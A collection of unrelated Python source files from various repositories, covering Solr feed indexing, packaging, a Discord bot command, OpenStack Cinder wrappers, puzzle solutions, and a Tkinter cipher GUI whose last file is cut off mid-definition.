_create_item(self, entry): """Create new items in the feed """ new_item = SharedItem() uid = entry['uid'] logger.info('Creating item %s' % uid) new_item.update_from_entry(entry) # XXX: Should name and parent be necessary here? Shouldn't # the `add` method do that for us? new_item.__name__ = uid new_item.__parent__ = self.shared self.shared.add(uid, new_item) self.to_index.append(self.shared[uid]) self.create_count += 1 def _update_item(self, entry): """Update existing items in the db using their UID """ uid = entry['uid'] logger.info('Updating item %s' % uid) obj = self.shared[uid] # XXX: these aren't coming from the object. Why is that? Is # the `add` method on the folder not setting them? obj.__name__ = uid obj.__parent__ = self.shared selected_or_shared = ( 'selected' in entry['feed_link'] or 'shared' in entry['feed_link'] ) if selected_or_shared and hasattr(obj, 'deletion_type'): remove_deleted_status(uid, self.shared, self.solr) obj.update_from_entry(entry) self.to_index.append(obj) self.update_count += 1 def _update_index(self): """Clean up the item dictionaries to contain only items that are valid and send them over to Solr for indexing. NOTE: Solr may error out on index if it receives a field it is not aware of. We should change this code to look up the Solr schema, and remove attributes that it doesn't know, like __name__ and __parent__ below. """ logger.debug('Updating index for %s objects' % len(self.to_index)) cleaned = [] ignored_attrs = [ '__name__', '__parent__', 'deletion_type', ] for item in self.to_index: item_dict = copy.deepcopy(item.__dict__) if 'Modified' in item_dict: if hasattr(item_dict['Modified'], 'isoformat'): mod_date = item_dict['Modified'].isoformat() else: mod_date = item_dict['Modified'] # Make sure the date is acceptable to Solr, strip off # the +00:00 and replace it with a Z item_dict['Modified'] = "%sZ" % mod_date[:-6] if 'content' in item_dict: items = [item['value'] for item in item_dict['content']] if items: # XXX: use first content item, discard the rest item_dict['content'] = items[0] item_dict['uid'] = item_dict['__name__'] # XXX: Need to look up the schema, then modify the dict # based on that. for attr in ignored_attrs: item_dict.pop(attr, '') cleaned.append(item_dict) # XXX: Need to handle Solr errors here response = self.solr.update(cleaned) return response def update_deletions(context, request): """Receive a UID from the request vars and remove the associated object from the deleted feed. """ uid = request.POST.get('uid') if not uid: return solr_uri = request.registry.settings.get('push.solr_uri', None) if solr_uri is None: raise AttributeError(u'A push.solr_uri is required') from mysolr import Solr solr = Solr(solr_uri) logger.debug('Remove deleted status') remove_deleted_status(uid, context.shared, solr) return HTTPOk(body="Item no longer marked as deleted") def delete_items(context, request): """Delete the given items from the index """ # If the request isn't an RSS feed, bail out if request.content_type not in ALLOWED_CONTENT: body_msg = ( "The content-type of the request must be one of the " "following: %s" ) % ", ".join(ALLOWED_CONTENT) return HTTPBadRequest(body=body_msg) solr_uri = request.registry.settings.get('push.solr_uri', None) if solr_uri is None: raise AttributeError(u'A push.solr_uri is required') # XXX: We are importing solr here to be able to mock it in the tests from mysolr import Solr solr = Solr(solr_uri) shared_content = feedparser.parse(request.body) missing = [] removed = 0 for item in shared_content.entries: uid = item['id'] uid = normalize_uid(uid) logger.debug('Deleting %s' % uid) if uid not in context.shared: missing.append(uid) solr.delete_by_key(uid) continue del context.shared[uid] solr.delete_by_key(uid) removed += 1 body_msg = "Removed %s items." % removed if missing: msg_str = " %s items could not be found for deletion: %s" args = (len(missing), ', '.join(missing)) msg = msg_str % args logger.warn(msg) body_msg += msg return HTTPOk(body=body_msg) def combine_entries(container, feed_name): """Combines all feeds of a given type (e.g. Shared, Selected) """ logger.debug('Combining entries for %s' % feed_name) if feed_name == 'deleted': results = [entry for entry in container.values() if feed_name in entry.feed_type] else: results = [] for entry in container.values(): feed_type = entry.feed_type feed_match = feed_name in feed_type feature_del = ( 'deleted' in feed_type and entry.deletion_type == 'featured' ) if not feed_match or (feed_match and feature_del): continue results.append(entry) results.sort(key=lambda x: x.Modified, reverse=True) return results def create_feed(entries, title, link, description): """Combine the entries into an actual Atom feed.""" new_feed = Atom1Feed( title=title, link=link, description=description, ) for entry in entries: data = dict( pubdate=entry.Modified, unique_id='urn:syndication:%s' % entry.__name__, categories=entry.Subject, category={'term': entry.Category, 'label': u'Site Title'}, author_name=entry.Creator, ) data['push:portal_type'] = entry.portal_type # Tile urls are added into one element for now data['push:tile_urls'] = '|'.join(entry.tile_urls).lstrip('|') data['push:deleted_tile_urls'] = '|'.join( entry.deleted_tile_urls).lstrip('|') if getattr(entry, 'content', None): data['content'] = entry.content if hasattr(entry, 'deletion_type'): data['push:deletion_type'] = entry.deletion_type new_feed.add_item( entry.Title, entry.url, entry.Description, **data ) return new_feed.writeString('utf-8') def global_shared(context, request): entries = combine_entries(context.shared, 'shared') return Response(create_feed(entries, 'All Shared Entries', route_url('shared', request), 'A combined feed of all entries shared to the PuSH Hub.' )) def global_selected(context, request): entries = combine_entries(context.shared, 'selected') return Response(create_feed(entries, 'All Selected Entries', route_url('selected', request), 'A combined feed of all entries selected across ' 'the PuSH Hub.' )) def global_deleted(context, request): entries = combine_entries(context.shared, 'deleted') return Response(create_feed(entries, 'All Deleted Entries', route_url('deleted', request), 'A combined feed of all entries that were deleted ' ' across the PuSH Hub.' ))

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setup.py

gokhanbaydar/py-money-legos

3

56904

import setuptools import os def get_files_in_dir(dirName): listOfFile = os.listdir(dirName) completeFileList = list() for file in listOfFile: completePath = os.path.join(dirName, file) if os.path.isdir(completePath): completeFileList = completeFileList + get_files_in_dir(completePath) else: completeFileList.append(completePath) return completeFileList def find_json_files(): json_files = [] files = get_files_in_dir(".") for file in files: root, extension = os.path.splitext(file) if extension == ".json": json_files.append(file) return json_files with open("MANIFEST.in", "w") as mfs: for file in find_json_files(): mfs.write("include " + file + "\n") with open("README.md", "r", encoding="utf-8") as fh: long_description = fh.read() setuptools.setup( name="py-money-legos", version="0.1.1", author="<NAME>", author_email="<EMAIL>", description="money-legos for Python", long_description=long_description, long_description_content_type="text/markdown", url="https://github.com/gokhanbaydar/py-money-legos", packages=setuptools.find_packages(), include_package_data=True, classifiers=[ "Programming Language :: Python :: 3", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", ], python_requires=">=3.6", )

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methods/autoplot.py

cndaqiang/raman_spectrum_analysis

8

192585

from ramanspectrum import * import sys """ Run python 'autoplot.py labels.txt'. Creates simple plots of the spectra. """ label = sys.argv[1] with open('labels.txt', 'r') as file: labels = file.readlines() for i in range(len(labels)): labels[i] = labels[i].rstrip() for label in labels: label = label.split(r'\n')[0] spec = ramanspectrum(data_file = label + '/data_' + label + '.txt',label = label) plt.clf() plt.plot(spec.x, spec.y, 'b-') plt.xlim(self.x[0], 550) plt.savefig(label + '/simpleplot_' + label + '.pdf')

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2019/python/day10.py

dsvensson/advent-of-code

0

163698

<filename>2019/python/day10.py from collections import defaultdict t = """ .#..# ..... ##### ....# ...## """.strip() t = open("../data/day10.input").read() t = t.split("\n") astroids = [] for y, row in enumerate(t): for x, col in enumerate(row): if col == "#": astroids.append((y,x)) def line(p1, p2): "Bresenham's line algorithm" x1, y1 = p1 x2, y2 = p2 m_new = 2 * (y2 - y1) slope_error_new = m_new - (x2 - x1) y=y1 r = [] for x in range(x1,x2+1): r.append((x,y)) # Add slope to increment angle formed slope_error_new =slope_error_new + m_new # Slope error reached limit, time to # increment y and update slope error. if (slope_error_new >= 0): y=y+1 slope_error_new =slope_error_new - 2 * (x2 - x1) return r def find(p1, p2, aset): possible = aset - set([p1, p2]) while True: lpos = len(possible) possible2 = possible.copy() for p3 in possible: v1 = numpy.cross(p2, p1) v2 = numpy.cross(p3, p1) v3 = numpy.cross(p3, p2) if numpy.dot(v2,v1) > 0 and numpy.dot(v3,v1) < 0: possible2.remove(p3) if len(possible) == len(possible2) or len(possible2) == 0: break possible = possible2 print(p1, p2, len(possible2), possible2) return possible2 res = defaultdict(int) astroids = set(astroids) p1,p2,p3 = [(0,0),(1,1),(2,2)] """ for p1 in astroids: taken = set([]) for p2 in astroids: for p3 in astroids: """ import math def foo(p1, p2, p3): dxc = p3[1] - p1[1] dyc = p3[0] - p1[0] dxl = p2[1] - p1[1] dyl = p2[0] - p1[0] cross = dxc * dyl - dyc * dxl if cross != 0: return False if (math.fabs(dxl) >= math.fabs(dyl)): if dxl > 0: return p1[1] <= p3[1] and p3[1] <= p2[1] return p2[1] <= p3[1] and p3[1] <= p1[1] else: if dyl > 0: return p1[0] <= p3[0] and p3[0] <= p2[0] return p2[0] <= p3[0] and p3[0] <= p1[0] """ res = defaultdict(int) for p1 in astroids: tot = 0 for p2 in astroids: if p2 == p1: continue found = False for p3 in astroids: if p3 in (p1, p2): continue if foo(p1,p2,p3): found = True if not found: tot += 1 res[p1] = tot for k,v in res.items(): print(k, "->", v) print(foo(p1,p2,p2)) print(max(res.values())) """ p1 = (28, 22) astroids.remove(p1) max_x = max(x for y,x in astroids)+1 max_y = max(y for y,x in astroids)+1 found_max = 0 import operator def scan(p, ast, cand, ordr): for p3 in cand: hidden = False for p4 in cand: if p3 == p4: continue if foo(p, p3, p4): hidden = True if not hidden: ordr.append(p3) ast.remove(p3) print("removed") order = [] while len(astroids) > 0: print(len(astroids), len(order)) for x in range(max_x): p2 = (0, x) candidates = [] for p3 in astroids: if foo(p1,p2,p3): candidates.append(p3) scan(p1, astroids, candidates, order) for y in range(max_y): p2 = (y, max_x-1) candidates = [] for p3 in astroids: if foo(p1,p2,p3): candidates.append(p3) scan(p1, astroids, candidates, order) for x in range(max_x): p2 = (max_y-1, max_x - x - 1) candidates = [] for p3 in astroids: if foo(p1,p2,p3): candidates.append(p3) scan(p1, astroids, candidates, order) for y in range(max_y): p2 = (max_y - y - 1, 0) candidates = [] for p3 in astroids: if foo(p1,p2,p3): candidates.append(p3) scan(p1, astroids, candidates, order) print(order[200-1])

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pat/pat.py

javascripto/syxactions

0

176962

<reponame>javascripto/syxactions from discord.ext import commands from discord.ext.commands import errors, converter from .utils.dataIO import fileIO import random import discord class Pat: def __init__(self, bot): self.bot = bot @commands.command(pass_context=True) async def pat(self, context, member: discord.Member=None): """Pat your senpai/waifu or even the enemy!""" author = context.message.author.mention text = ("someone who is really worth it!!") if member != None: mention = member.mention text = mention pat = "**{0} pats {1}!**" choices = fileIO("data/pat/syxactions/pat.json","load") image = random.choice(choices) embed = discord.Embed(description=pat.format(author, text), colour=discord.Colour.blue()) embed.set_image(url=image) await self.bot.say(embed=embed) def setup(bot): n = Pat(bot) bot.add_cog(n)

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corehq/motech/tests/test_repeater_helpers.py

andyasne/commcare-hq

471

70296

<gh_stars>100-1000 from django.test.testcases import TestCase from mock import patch from corehq.form_processor.models import CommCareCaseSQL from datetime import datetime from corehq.form_processor.interfaces.dbaccessors import CaseAccessors from corehq.motech.repeater_helpers import get_relevant_case_updates_from_form_json class TestRepeaterHelpers(TestCase): def setUp(self): self.domain = 'test-domain' self.extra_fields = [] self.form_question_values = {} case_1_data = { 'case_id': '5ca13e74-8ba3-4d0d-l09j-66371e8895dd', 'domain': self.domain, 'type': 'paciente', 'name': 'case1', 'owner_id': 'owner_1', 'modified_by': 'modified_by', } case_2_data = { 'case_id': '6ca13e74-8ba3-4d0d-l09j-66371e8895dc', 'domain': self.domain, 'type': 'casa', 'name': 'case2', 'owner_id': 'owner_2', 'modified_by': 'modified_by', } self.case_1 = create_commcare_case(case_1_data) self.case_2 = create_commcare_case(case_2_data) def tearDown(self): self.case_1.delete() self.case_2.delete() @patch.object(CaseAccessors, 'get_cases') def test__get_relevant_case_updates_from_form_json_with_case_types(self, get_cases): get_cases.return_value = [self.case_1, self.case_2] result = get_relevant_case_updates_from_form_json( self.domain, _get_form_json(), ['paciente'], self.extra_fields ) self.assertEqual(len(result), 2) @patch.object(CaseAccessors, 'get_cases') def test__get_relevant_case_updates_from_form_json_without_case_types(self, get_cases): get_cases.return_value = [self.case_1, self.case_2] result = get_relevant_case_updates_from_form_json( self.domain, _get_form_json(), [], self.extra_fields ) self.assertEqual(len(result), 3) def create_commcare_case(data): cccsql = CommCareCaseSQL( case_id=data['case_id'], domain=data['domain'], type=data['type'], name=data['name'], owner_id=data['owner_id'], modified_by=data['modified_by'], modified_on=datetime.utcnow(), server_modified_on=datetime.utcnow(), ) cccsql.save() return cccsql def _get_form_json(): return {'app_id': 'APP_ID', 'archived': False, 'attachments': { 'form.xml': { 'content_type': 'text/xml', 'length': 10975, 'url': 'https://www.commcarehq.org/a/infomovel-pepfar' '/api/form/attachment/CONFIDENTIAL/form.xml' } }, 'build_id': 'BUILD_ID', 'domain': 'infomovel-pepfar', 'edited_by_user_id': None, 'edited_on': None, 'form': {'#type': 'data', '@name': 'SOME NAME', '@uiVersion': '1', '@version': 'VERSION', '@xmlns': 'http://openrosa.org/formdesigner/IDIDID', 'casa_data': {'convivente_cascade': {}, 'conviventes_names': {}, 'index_cascade': {}, 'save_to_case': {'alocar_paciente_casa': { 'case': {'@case_id': '5ca13e74-8ba3-4d0d-l09j-66371e8895dd', '@date_modified': '2021-06-24T08:43:06.746000Z', '@user_id': 'USER ID', '@xmlns': 'http://commcarehq.org/case/transaction/v2', 'index': { 'parent': { '#text': '6ca13e74-8ba3-4d0d-l09j-66371e8895dc', '@case_type': '', '@relationship': 'child' } }}}, 'criar_actualizar_casa': { 'case': {'@case_id': '6ca13e74-8ba3-4d0d-l09j-66371e8895dc', '@date_modified': '2021-05-24T08:43:06.746000Z', '@user_id': 'USER ID', '@xmlns': 'http://commcarehq.org/case/transaction/v2', 'create': {'case_name': 'CASE NAME', 'case_type': 'casa', 'owner_id': 'owner_1'}, 'update': { 'age_range1': '25-30', 'age_range2': '25-30 anos', } }}}, 'tb_patient_in_household': '0'}, 'case': {'@case_id': '5ca13e74-8ba3-4d0d-l09j-66371e8895dd', '@date_modified': '2021-06-24T08:43:06.746000Z', '@user_id': 'USER ID', '@xmlns': 'http://commcarehq.org/case/transaction/v2', 'update': {'name': '<NAME>'}}, 'confirm_info': {}, 'confirmar_perfil': {}, 'imported_properties': {}, 'indicators_v4': {}, 'key_workflow_properties': {}, 'meta': {}, 'patient_data': {}, }, 'metadata': {}, }

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app/morocco/authentication.py

troydai/Morocco

0

27022

import flask_login from .application import app from .models import DbUser login_manager = flask_login.LoginManager() # pylint: disable=invalid-name login_manager.init_app(app) login_manager.user_loader(lambda user_id: DbUser.query.filter_by(id=user_id).first()) login_required = flask_login.login_required @login_manager.unauthorized_handler def unauthorized_handler(): from flask import redirect, request, url_for return redirect(url_for('login', request_uri=request.path)) @app.before_request def redirect_https(): from flask import redirect, request if 'X-Arr-Ssl' not in request.headers and not app.config['is_local_server']: redirect_url = request.url.replace('http', 'https') return redirect(redirect_url) @app.route('/', methods=['GET']) def index(): from flask import render_template byline = 'Morocco - An automation service runs on Azure Batch.\n' return render_template('index.html', byline=byline, title='Azure CLI') @app.route('/login', methods=['GET']) def login(): """Redirect user agent to Azure AD sign-in page""" import morocco.auth return morocco.auth.openid_login() @app.route('/signin-callback', methods=['POST']) def signin_callback(): """Redirect from AAD sign in page""" def get_or_add_user(user_id: str): from .application import db from .models import DbUser user = DbUser.query.filter_by(id=user_id).first() if not user: user = DbUser(user_id) db.session.add(user) db.session.commit() return user import morocco.auth return morocco.auth.openid_callback(get_or_add_user) @app.route('/logout', methods=['POST']) def logout(): """Logout from both this application as well as Azure OpenID sign in.""" import morocco.auth return morocco.auth.openid_logout()

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benchmark/citation/trainable/cold_start_recall100/negative_sampling.py

snubeaver/pytorch_geo

2

69846

import random import torch import numpy as np from torch_geometric.utils import degree, to_undirected def negative_sampling(edge_index, num_nodes=None, num_neg_samples=None, force_undirected=False): num_neg_samples = num_neg_samples or edge_index.size(1) # Handle '|V|^2 - |E| < |E|' case for G = (V, E). num_neg_samples = min(num_neg_samples, num_nodes * num_nodes - edge_index.size(1)) rng = range(num_nodes**2) # idx = N * i + j idx = (edge_index[0] * num_nodes + edge_index[1]).to('cpu') perm = torch.tensor(random.sample(rng, num_neg_samples)) # pos edge면 true 처리 mask = torch.from_numpy(np.isin(perm, idx)).to(torch.bool) rest = mask.nonzero().view(-1) while rest.numel() > 0: # pragma: no cover tmp = torch.tensor(random.sample(rng, rest.size(0))) mask = torch.from_numpy(np.isin(tmp, idx)).to(torch.bool) perm[rest] = tmp rest = rest[mask.nonzero().view(-1)] row = perm / num_nodes col = perm % num_nodes neg_edge_index = torch.stack([row, col], dim=0).long() return neg_edge_index.to(edge_index.device)

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openstack/regression/lib/cinder.py

rpratap-bot/ceph-qe-scripts

0

105320

import os import cinderclient.exceptions as c_exceptions from cinderclient.v2 import client as c_client import log class CinderReturnStack(object): def __init__(self): pass class CinderAuth(object): def __init__(self): self.os_username = os.environ['OS_USERNAME'] self.os_api_key = os.environ['OS_PASSWORD'] self.os_auth_url = os.environ['OS_AUTH_URL'] self.os_tenant = os.environ['OS_TENANT_NAME'] def auth(self): """ :return:auth_stack - auth_stack.cinder : cinder object after authenticating - auth_stack.status : True or False """ auth_stack = CinderReturnStack() log.info('in lib: auth') try: cinder = c_client.Client(auth_url=self.os_auth_url, username=self.os_username, api_key=self.os_api_key, project_id=self.os_tenant, service_type='volumev2') auth_stack.cinder, auth_stack.status = cinder, True log.info('Cinder Auth successful') except c_exceptions.AuthorizationFailure, e: auth_stack.cinder, auth_stack.status = None, False log.error('cinder auth failed') log.error(e.message) return auth_stack class CinderVolumes(object): def __init__(self, cinder_auth): self.cinder = cinder_auth def create_volume(self, name, size, image_id=None): """ :param name: string :param size: int :param image_id: int[optional] :return volume_create - volume_create.vol : volume object - volume_create.status : True or False """ log.info("in lib: Create volume") volume_create = CinderReturnStack() try: log.info('initialized volume creation') volume = self.cinder.volumes.create(name=name, size=size, imageRef=image_id) volume_create.vol, volume_create.status = volume, True except c_exceptions.ClientException, e: log.error(e) volume_create.vol, volume_create.status = None, False return volume_create def list_volumes(self): """ :return volumes_list - volumes_list.volumes : list of volumes object - volumes_list.status : True or False """ volumes_list = CinderReturnStack() volumes_list.volumes = [] try: log.info("List cinder volumes") volumes = self.cinder.volumes.list() # will return volumes.size, volumes.name , volumes.id, volumes.status ... volumes_list.status = True if volumes: volumes_list.volumes = volumes except (c_exceptions.NotFound, c_exceptions.ClientException), e: log.error(e) volumes_list.status = False return volumes_list def get_volume(self, volume): """ :param volume: volume object :return:each_volume - each_volume.volume : volume object - each_volume.status : True or False """ each_volume = CinderReturnStack() each_volume.volume = None try: log.info("get cinder volume details") volume = self.cinder.volumes.get(volume.id) each_volume.volume = volume each_volume.status = True except (c_exceptions.NotFound, c_exceptions.ClientException), e: log.error(e) each_volume.status = False return each_volume def extend_volume(self, volume, new_size): """ :param volume: :param new_size: :return extend - extend.execute : True or False """ extend = CinderReturnStack() extend.execute = False try: self.cinder.volumes.extend(volume, new_size) extend.execute = True except c_exceptions.ClientException, e: log.error(e) return extend def delete_volume(self, volume): """ :param volume: volume object :return: volume_delete - volume_delete.execute: True or False """ log.info('in lib of delete volume') volume_delete = CinderReturnStack() volume_delete.execute = False try: self.cinder.volumes.delete(volume) volume_delete.execute = True log.info('delete volume executed') except (c_exceptions.NotFound, c_exceptions.ClientException), e: log.error(e) return volume_delete class CinderBackup(object): def __init__(self, cinder_auth): self.cinder = cinder_auth def create_backup(self, volume, incremental=False, name=None): """ :param volume: volume object :param incremental: int :param name: string :return backup - backup.volume_backup : volume backup object - backup.status : True or False """ backup = CinderReturnStack() backup.volume_backup = None try: volume_backup = self.cinder.backups.create(volume.id, name=name, incremental=incremental) backup.volume_backup, backup.status = volume_backup, True except c_exceptions.ClientException, e: log.error(e) backup.status = False return backup def get_backup(self, backup): """ :param backup: backup object :return: get_back.back: backup object get_back.status : True or False """ get_back = CinderReturnStack() get_back.back = None try: backup = self.cinder.backups.get(backup) get_back.back, get_back.status = backup, True except c_exceptions.ClientException, e: log.error(e) get_back.status = False return get_back def list_backup(self): """ :return backups_list - backups_list.backups : list of backup objects - backups_list.status : True or False """ backups_list = CinderReturnStack() backups_list.backups = [] try: log.info("List cinder backup volumes") backups = self.cinder.backups.list() # will return backups class. backups_list.status = True if backups: backups_list.backups = backups except (c_exceptions.NotFound, c_exceptions.ClientException), e: log.error(e) backups_list.status = False return backups_list def restore_backup(self, backup, volume): """ :param backup: backup object :param volume: volume object :return: restore - restore.restore.restore_dict: dic of backup id and volume id - restore.execute: True or False """ restore = CinderReturnStack() restore.execute = False restore.restore_dict = None try: restore_dict = self.cinder.restores.restore(backup.id, volume.id) restore.restore_dict = restore_dict restore.execute = True except (c_exceptions.NotFound, c_exceptions.ClientException), e: log.error(e) return restore def delete_backup(self, backup): """ :param backup: object of the backup :return: delete - delete.execue: True or False """ delete = CinderReturnStack() delete.execute = False try: self.cinder.backups.delete(backup) delete.execute = True except (c_exceptions.NotFound, c_exceptions.ClientException), e: log.error(e) return delete class CinderSnapshot(object): def __init__(self,cinder_auth): self.cinder = cinder_auth def create_snapshot(self, volume, snapshot_name): """ :param volume: object of the volume :param snapshot_name: string, name for creating the snapshot :return snapshot - snapshot.volume_snapshot : object of the snapshot # rename to snapshot - snapshot.status : True or False """ log.info('in lib: create snapshots') snapshot = CinderReturnStack() snapshot.volume_snapshot = None ftype = False if volume.status == "available": ftype = False elif volume.status == "in-use": ftype = True log.info('setting force type: %s' % ftype) try: volume_snapshot = self.cinder.volume_snapshots.create(volume.id, name=snapshot_name, force=ftype) snapshot.volume_snapshot = volume_snapshot snapshot.status = True log.info('volume snapshot creation executed') except c_exceptions.ClientException, e: log.error(e) snapshot.status = False return snapshot def list_snapshot(self): """ :return:snapshot_list - snapshot_list.snapshots : lists of snapshot objects - snapshot_list.status : True or False """ log.info('in lib of list snapshot') snapshots_list = CinderReturnStack() snapshots_list.snapshots = [] try: snapshots = self.cinder.volume_snapshots.list() # will return snapshot class. snapshots_list.status = True if snapshots: log.info('got snapshots') snapshots_list.snapshots = snapshots log.error('got no snapshots') except (c_exceptions.NotFound, c_exceptions.ClientException), e: log.error(e) snapshots_list.status = False return snapshots_list def delete_snapshot(self, snapshot): """ :param snapshot: object of the snapshot :return:snapshot_delete - snapshot_delete.execute: True or False """ log.info('in lib of delete snapshot') snapshot_delete = CinderReturnStack() snapshot_delete.execute = False try: self.cinder.volume_snapshots.delete(snapshot) snapshot_delete.execute = True log.info('delete snapshot executed') except (c_exceptions.NotFound, c_exceptions.ClientException), e: log.error(e) return snapshot_delete def get_snapshot(self, snapshot): """ :param snapshot: snapshot object :return:each_snapshot - each_snapshot.snapshot : snapshot object - each_snapshot.status : True or False """ each_snap = CinderReturnStack() each_snap.snapshot = None try: log.info("get snapshot details") volume_snap = self.cinder.volume_snapshots.get(snapshot.id) each_snap.snapshot = volume_snap each_snap.status = True except (c_exceptions.NotFound, c_exceptions.ClientException), e: log.error(e) each_snap.status = False return each_snap def create_vol_from_snap(self, snapshot, name, size): """ :param snapshot: object of the snapshot :param size: int, :param name: volume name: string :return: snapshot_volume - snapshot_volume.status: True or False """ log.info('in lib of create vol from snapshot') snapshot_volume = CinderReturnStack() snapshot_volume.volume = None try: volume = self.cinder.volumes.create(size=size, name=name, snapshot_id=snapshot) snapshot_volume.status = True snapshot_volume.volume = volume log.info('snapshot volume created') except c_exceptions.ClientException, e: log.error(e) snapshot_volume.status = False return snapshot_volume

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TEP/lista1/E.py

GuilhermeBraz/unb-workflow

0

150937

# Diamond Miner is a game that is similar to Gold Miner, but there are nnn miners instead of 111 in this game. # The mining area can be described as a plane. The nnn miners can be regarded as nnn points on the y-axis. There are nnn diamond mines in the mining area. We can regard them as nnn points on the x-axis. For some reason, no miners or diamond mines can be at the origin (point (0,0)(0, 0)(0,0)). # Every miner should mine exactly one diamond mine. Every miner has a hook, which can be used to mine a diamond mine. If a miner at the point (a,b)(a,b)(a,b) uses his hook to mine a diamond mine at the point (c,d)(c,d)(c,d), he will spend (a−c)2+(b−d)2\sqrt{(a-c)^2+(b-d)^2}(a−c)2+(b−d)2 # energy to mine it (the distance between these points). The miners can't move or help each other. # The object of this game is to minimize the sum of the energy that miners spend. Can you find this minimum from math import sqrt def dis(a, b): return sqrt((a[0] - b[0]) ** 2 + (a[1] - b[1]) ** 2) # Number of test cases t = int(input()) for i in range(t): energysum = 0 # Number of miners and diamonds - n n = int(input()) miners = [] diamonds = [] for j in range(2*n): # Miner position x, y = map(int, input().split()) if x == 0: miners.append((abs(x), abs(y))) else: diamonds.append((abs(x), abs(y))) # Sort the diamonds by their x-coordinate and the miners by the y-coordinate miners.sort(key=lambda x: x[1]) diamonds.sort(key=lambda x: x[0]) for miner,diamond in zip(miners, diamonds): energysum += dis(miner, diamond) print(energysum)

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cryptography_playground.py

GabrielAlves/CryptographyPlayground

0

53656

<reponame>GabrielAlves/CryptographyPlayground<gh_stars>0 import tkinter as tk from tkinter import ttk from tkinter import scrolledtext from tkinter import messagebox as msg from tkinter import Menu from i18n.i18n_cryptography_playground import I18NCryptographyPlayground from i18n.i18n_message_box import I18NMessageBox from gui_settings import GUISettings from cryptography_algorithms.morse import Morse from cryptography_algorithms.caesar import Caesar from about_project_view import AboutProjectView class CryptographyPlayground: def __init__(self): self.create_widgets() def create_widgets(self): self.create_window() self.create_menu() self.create_tabs() self.create_widgets_of_coding_tab() self.create_widgets_of_decoding_tab() def define_gui_settings(self): self.gui_settings = GUISettings() def create_window(self): self.window = tk.Tk() self.configure_window() def define_gui_language(self): self.i18n_cryptography_playground = I18NCryptographyPlayground("en") self.i18n_message_box = I18NMessageBox("en") def configure_window(self): self.define_gui_settings() self.define_gui_language() self.window.title(self.i18n_cryptography_playground.window_title) self.window.iconbitmap(self.window, "images/icons/lock_icon.ico") self.window.resizable(False, False) def create_menu(self): self.create_menu_bar() self.create_file_menu_item() self.create_help_menu_item() def create_menu_bar(self): self.menu_bar = Menu(self.window) self.window.configure(menu = self.menu_bar) def create_file_menu_item(self): self.file_menu = Menu(self.menu_bar, tearoff = 0) self.file_menu.add_command(label = self.i18n_cryptography_playground.menu_file_new_label, command = self.open_new_window) self.file_menu.add_command(label = self.i18n_cryptography_playground.menu_file_exit_label, command = self.close_window) self.menu_bar.add_cascade(label = self.i18n_cryptography_playground.menu_file_label, menu = self.file_menu) def create_help_menu_item(self): self.help_menu = Menu(self.menu_bar, tearoff = 0) self.help_menu.add_command(label = self.i18n_cryptography_playground.menu_help_about_label, command = AboutProjectView) self.menu_bar.add_cascade(label = self.i18n_cryptography_playground.menu_help_label, menu = self.help_menu) def create_tabs(self): self.create_tab_control() self.create_coding_tab() self.create_decoding_tab() self.manage_tab_control() def create_tab_control(self): self.tab_control = ttk.Notebook(self.window) def create_coding_tab(self): self.coding_tab = ttk.Frame(self.tab_control) self.tab_control.add(self.coding_tab, text = self.i18n_cryptography_playground.coding_tab_text) def create_decoding_tab(self): self.decoding_tab = ttk.Frame(self.tab_control) self.tab_control.add(self.decoding_tab, text = self.i18n_cryptography_playground.decoding_tab_text) def manage_tab_control(self): self.tab_control.pack(expand = 1, fill = "both") def create_widgets_of_coding_tab(self): self.create_coding_section_labelframe() self.create_widgets_from_coding_section_labelframe() self.create_encryption_options_labelframe() self.create_buttons_from_encryption_options() def create_coding_section_labelframe(self): self.coding_labelframe = ttk.LabelFrame(self.coding_tab, text = self.i18n_cryptography_playground.coding_section_labelframe) self.coding_labelframe.grid(row = 0, padx = self.gui_settings.coding_section_padding_width, pady = self.gui_settings.padding_height) def create_widgets_from_coding_section_labelframe(self): self.create_label_for_message_to_be_encrypted() self.create_scrolledtext_for_message_to_be_encrypted() self.create_label_for_encrypted_message() self.create_scrolledtext_for_encrypted_message() def create_label_for_message_to_be_encrypted(self): self.label_for_message_to_be_encrypted = ttk.Label(self.coding_labelframe, text = self.i18n_cryptography_playground.label_for_message_to_be_encrypted, font = (self.gui_settings.font_family, self.gui_settings.font_size)) self.label_for_message_to_be_encrypted.grid(row = 1) def create_scrolledtext_for_message_to_be_encrypted(self): self.scrolledtext_for_message_to_be_encrypted = scrolledtext.ScrolledText(self.coding_labelframe, width = self.gui_settings.scrolledtext_width, height = self.gui_settings.scrolledtext_height, font = (self.gui_settings.font_family, self.gui_settings.font_size), wrap = tk.WORD) self.scrolledtext_for_message_to_be_encrypted.grid(row = 2, pady = self.gui_settings.padding_height) self.scrolledtext_for_message_to_be_encrypted.focus() def create_label_for_encrypted_message(self): self.label_encrypted_message = ttk.Label(self.coding_labelframe, text = self.i18n_cryptography_playground.label_encrypted_message, font = (self.gui_settings.font_family, self.gui_settings.font_size)) self.label_encrypted_message.grid(row = 3) def create_scrolledtext_for_encrypted_message(self): self.scrolledtext_for_encrypted_message = scrolledtext.ScrolledText(self.coding_labelframe, width = self.gui_settings.scrolledtext_width, height = self.gui_settings.scrolledtext_height, font = (self.gui_settings.font_family, self.gui_settings.font_size), wrap = tk.WORD) self.scrolledtext_for_encrypted_message.grid(row = 4, pady = self.gui_settings.padding_height) def create_encryption_options_labelframe(self): self.coding_tab_cryptography_options = ttk.LabelFrame(self.coding_labelframe, text = self.i18n_cryptography_playground.cryptography_options) self.coding_tab_cryptography_options.grid(row = 5, pady = self.gui_settings.padding_height, sticky = tk.W) def create_buttons_from_encryption_options(self): self.create_caesar_encryption_button() self.create_morse_encryption_button() self.add_padding_to_encryption_buttons() def create_caesar_encryption_button(self): self.button_caesar_cryptography = ttk.Button(self.coding_tab_cryptography_options, text = self.i18n_cryptography_playground.caesar_cryptography_button_text, command = lambda : self.process_message(Caesar, "encrypt", self.scrolledtext_for_message_to_be_encrypted, self.scrolledtext_for_encrypted_message)) self.button_caesar_cryptography.grid(column = 0, row = 0, sticky = tk.W) def create_morse_encryption_button(self): self.button_morse_cryptography = ttk.Button(self.coding_tab_cryptography_options, text = self.i18n_cryptography_playground.morse_cryptography_button_text, command = lambda : self.process_message(Morse, "encrypt", self.scrolledtext_for_message_to_be_encrypted, self.scrolledtext_for_encrypted_message)) self.button_morse_cryptography.grid(column = 1, row = 0, sticky = tk.W) def add_padding_to_encryption_buttons(self): for button in self.coding_tab_cryptography_options.winfo_children(): button.grid_configure(padx = self.gui_settings.padding_width, pady = self.gui_settings.padding_height) def 